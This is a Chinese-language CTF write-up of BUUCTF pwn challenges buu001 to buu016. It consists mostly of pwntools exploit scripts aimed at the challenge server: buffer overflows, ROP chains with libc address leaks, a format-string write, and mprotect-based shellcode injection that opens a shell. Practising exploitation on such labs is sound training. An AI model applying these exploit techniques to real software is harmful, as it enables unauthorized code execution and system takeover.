BUUCTF网站
笔者认为过于简单的题目会直接附上exp。
(不得不说buu的题目还挺多的)
零基础pwn萌新推荐先看这个:视频
buu001-test_your_nc
连上就行
buu002-rip
1 2 3 4 5 6 7 8 9 from pwn import *context.log_level='debug' io = remote('node4.buuoj.cn' , 27534 ) io.sendline(cyclic(15 ) + p64(0x401186 )) io.interactive()
buu003-warmup_csaw_2016
1 2 3 4 5 6 7 8 from pwn import *io = remote('node4.buuoj.cn' , 25377 ) io.sendlineafter(b'>' , cyclic(64 +8 ) + p64(0x40060D )) io.interactive()
buu004-ciscn_2019_n_1
1 2 3 4 5 6 7 8 from pwn import *io = remote('node4.buuoj.cn' , 26735 ) io.sendlineafter(b'Let\'s guess the number' , cyclic(44 ) + p32(0x41348000 )) io.interactive()
buu005-pwn1_sctf_2016
这道题是一个C++ pwn,但是逻辑不难理解,简单分析一下。下面是IDA反汇编的漏洞函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 int vuln () { const char *v0; char s[32 ]; char v3[4 ]; char v4[7 ]; char v5; char v6[7 ]; char v7[5 ]; printf ("Tell me something about yourself: " ); fgets (s, 32 , edata); std::string::operator =(&input, s); std::allocator<char >::allocator (&v5); std::string::string (v4, "you" , &v5); std::allocator<char >::allocator (v7); std::string::string (v6, "I" , v7); replace ((std::string *)v3); std::string::operator =(&input, v3, v6, v4); std::string::~string (v3); std::string::~string (v6); std::allocator<char >::~allocator (v7); std::string::~string (v4); std::allocator<char >::~allocator (&v5); v0 = (const char *)std::string::c_str ((std::string *)&input); strcpy (s, v0); return printf ("So, %s\n" , s); }
这里重点关注"="和replace函数,这也是程序在栈内存中操作的重点。在调试过程中,那些std::allocator<char>::allocator
的语句对栈区没有明显的影响,略过。经过手动反编译,还原出的源代码大致如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #include <iostream> #include <stdio.h> #include <string.h> using namespace std;string input; int vuln () { char info[32 ]; printf ("Tell me something about yourself: " ); fgets (info, 32 , stdin); input = info; string you = "you" ; string I = "I" ; rep = replace (input, you, I); strcpy (info, rep.c_str ()); } int main () { vuln (); return 0 ; }
这个函数的功能是将info中所有的"I"换成"you",replace函数甚至都无需分析。由此很容易看出这里有潜在的溢出问题。而且程序本身也给了后门,因此直接修改返回地址即可。
exp:
1 2 3 4 5 from pwn import *io = process('./pwn' ) payload = b'I' * 20 + p32(0xdeadbeef ) + p32(0x8048f0d ) io.sendline(payload) io.interactive()
buu006-jarvisoj_level0
1 2 3 4 5 from pwn import *io = remote('node4.buuoj.cn' , 26344 ) io.sendlineafter('Hello, World' , cyclic(128 +8 ) + p64(0x400596 )) io.interactive()
buu007-ciscn_2019_c_1
常规的获取got表地址,LibcSearcher有的时候可以有的时候不行,题目能给libc是最好的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import *from LibcSearcher import *context.log_level='debug' io = remote('node4.buuoj.cn' , 25958 ) elf = ELF('./pwn' ) poprdi_ret = 0x400c83 payload = b'\x00' + cyclic(0x50 +7 ) payload += p64(poprdi_ret) payload += p64(elf.got['puts' ]) payload += p64(elf.plt['puts' ]) payload += p64(elf.symbols[b'main' ]) io.sendlineafter(b'Input your choice!' , b'1' ) io.sendlineafter(b'Input your Plaintext to be encrypted\n' , payload) print (io.recv(12 ))put_addr = u64(io.recv(6 ) + b'\x00\x00' ) print (hex (put_addr))libc = LibcSearcher('puts' , put_addr) libc_base = put_addr - libc.dump('puts' ) sys_addr = libc_base + libc.dump('system' ) binsh_addr = libc_base + libc.dump('str_bin_sh' ) print (hex (sys_addr))print (hex (binsh_addr))payload = b'\x00' + cyclic(0x50 +7 ) payload += p64(0x4006b9 ) payload += p64(poprdi_ret) payload += p64(binsh_addr) payload += p64(sys_addr) io.sendlineafter(b'Input your choice!' , b'1' ) io.sendlineafter(b'Input your Plaintext to be encrypted\n' , payload) io.interactive()
buu008-[第五空间2019 决赛]PWN5
1 2 3 4 5 6 7 8 9 10 from pwn import *io = remote('node4.buuoj.cn' , 28577 ) payload = fmtstr_payload(10 , {0x804C044 : 0 }) io.sendlineafter(b'your name:' , payload) io.sendline(b'0' ) io.interactive()
buu009-ciscn_2019_n_8
1 2 3 4 5 6 7 from pwn import *io = remote('node4.buuoj.cn' , 26497 ) io.sendlineafter(b'What\'s your name?' , cyclic(4 * 13 ) + p32(17 )) io.interactive()
buu010-jarvisoj_level2
1 2 3 4 5 6 7 8 9 10 11 from pwn import *io = remote('node4.buuoj.cn' , 29788 ) elf = ELF('./pwn' ) binsh_addr = 0x804a024 io.sendlineafter(b'Input:' , cyclic(0x88 ) + p32(elf.symbols['main' ]) + p32(elf.plt['system' ]) + p32(binsh_addr) + p32(binsh_addr)) io.interactive()
buu011-[OGeek2019]babyrop
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *context.log_level='debug' io = remote('node4.buuoj.cn' , 27628 ) elf = ELF('./pwn' ) exp = 0x8048825 ret = 0x8048502 io.send(b'\x00' + b'\xFF' * 0x1f ) payload = cyclic(0xe7 + 4 ) payload += p32(elf.plt['puts' ]) payload += p32(exp) payload += p32(elf.got['read' ]) io.sendlineafter(b'Correct\n' , payload) io.send(b'\x00' + b'\xFF' * 0x1f ) read = u32(io.recv(4 )) libc = ELF('./libc-2.23.so' ) base = read - libc.symbols['read' ] sys = base + libc.symbols['system' ] binsh = base + next (libc.search(b'/bin/sh' )) payload = cyclic(0xe7 + 4 ) payload += p32(sys) payload += p32(binsh) payload += p32(binsh) io.sendlineafter(b'Correct\n' , payload) io.interactive()
buu012-bjdctf_2020_babystack
1 2 3 4 5 6 7 8 9 10 from pwn import *io = remote('node4.buuoj.cn' , 27538 ) elf = ELF('./pwn' ) io.sendlineafter(b'length of your name:' , b'1000' ) io.sendlineafter(b'What\'s u name?' , cyclic(0x10 + 8 ) + p64(elf.symbols['backdoor' ])) io.interactive()
buu013-get_started_3dsctf_2016
不知道为什么3dsctf里面不止一道题在挂exp脚本调试的时候recv收不到一开始发送的字符串,很奇怪,本来这一题直接返回到后门就好了,但是因为这个怪原因不得不用mprotect在其他地方再写一个shell,原来程序里面的后门就没用上 (屑)
使用mprotect函数时传入的地址参数必须页对齐,size参数也必须是页的整数倍。权限填7表示可读可写可执行。本题中要修改的主要是下面这个页的属性,然后shellcode写在.got.plt段中,尝试修改bss段,写在bss段发现不行,可能是bss段中有一些重要数据之类。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *import timecontext.log_level='debug' io = remote('node4.buuoj.cn' , 29364 ) elf = ELF('./pwn' ) mprotect = elf.symbols['mprotect' ] start = 0x80eb000 length = 0x1000 bss = 0x803bf80 pop3 = 0x0809e4c5 payload = cyclic(0x38 ) payload += p32(mprotect) payload += p32(pop3) payload += p32(start) payload += p32(length) payload += p32(7 ) payload += p32(elf.symbols['read' ]) payload += p32(pop3) payload += p32(0 ) payload += p32(start) payload += p32(0x80 ) payload += p32(start) io.sendline(payload) time.sleep(0.5 ) io.sendline(asm(shellcraft.sh())) io.interactive()
buu014-ciscn_2019_en_2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import *from LibcSearcher import *context.log_level='debug' io = remote('node4.buuoj.cn' , 25743 ) elf = ELF('./pwn' ) poprdi_ret = 0x400c83 payload = b'\x00' + cyclic(0x50 +7 ) payload += p64(poprdi_ret) payload += p64(elf.got['puts' ]) payload += p64(elf.plt['puts' ]) payload += p64(elf.symbols[b'main' ]) io.sendlineafter(b'Input your choice!' , b'1' ) io.sendlineafter(b'Input your Plaintext to be encrypted\n' , payload) print (io.recv(12 ))put_addr = u64(io.recv(6 ) + b'\x00\x00' ) print (hex (put_addr))libc = LibcSearcher('puts' , put_addr) libc_base = put_addr - libc.dump('puts' ) sys_addr = libc_base + libc.dump('system' ) binsh_addr = libc_base + libc.dump('str_bin_sh' ) print (hex (sys_addr))print (hex (binsh_addr))payload = b'\x00' + cyclic(0x50 +7 ) payload += p64(0x4006b9 ) payload += p64(poprdi_ret) payload += p64(binsh_addr) payload += p64(sys_addr) io.sendlineafter(b'Input your choice!' , b'1' ) io.sendlineafter(b'Input your Plaintext to be encrypted\n' , payload) io.interactive()
buu015-[HarekazeCTF2019]baby_rop
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *io = remote('node4.buuoj.cn' , 28394 ) elf = ELF('./pwn' ) binsh_addr = 0x600a90 poprdi_ret = 0x4006b3 io.sendlineafter(b'Input:' , cyclic(0x88 ) + p64(poprdi_ret) + p64(binsh_addr) + p64(elf.plt['system' ])) io.interactive()
buu016-jarvisoj_level2_x64
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *io = remote('node4.buuoj.cn' , 25723 ) elf = ELF('./pwn' ) poprdi_ret = 0x400683 binsh = 0x601048 io.sendlineafter(b'What\'s your name? ' , cyclic(0x18 ) + p64(poprdi_ret) + p64(binsh) + p64(elf.plt['system' ])) io.interactive()